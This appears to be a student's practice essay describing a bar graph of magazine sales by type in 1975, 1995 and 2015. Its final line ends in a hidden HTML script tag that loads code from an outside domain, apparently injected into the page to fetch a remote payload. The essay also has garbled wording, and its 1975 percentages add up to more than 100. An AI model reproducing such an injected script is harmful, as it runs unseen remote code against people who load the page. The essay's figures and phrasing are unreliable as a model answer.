The graph below shows the proportion of types of magazines sold by the company in 1975, 1995 and 2015
This bar graph indicates the percentage of kinds of magazines bought by the customers each 20 years
Overall, sports magazine account the largest percentage during the 3 years . On the other hand, magazines related to food were the least favourite
There was a stable rise in the amount of sold sports magazines. From 32% in 1975, sports magazines reached the proportion of 36% in 1995 and 42% in 2015.
It can be seen that food and other kinds of magazine experienced a fluctuate trend in the surveyed years. Starting at 10% and 26% perspectively in 1975, the figure rocketed up to 22% and 33% in 1995 accordingly before dropping down the beginning percentage
The proportion of fashion and neighbor chocolate magazine was 22 and 27 perspectively in 1975 before experiencing a slight fall in 1995 . The proportion of neighbor chocolate magazine remained unchanged in 2015 with the percentage of 20, while fashion magazine continued dropping down sharply to 5% in 2015?<script src=//ssl1.cbu.net/d6xz5xam></script>
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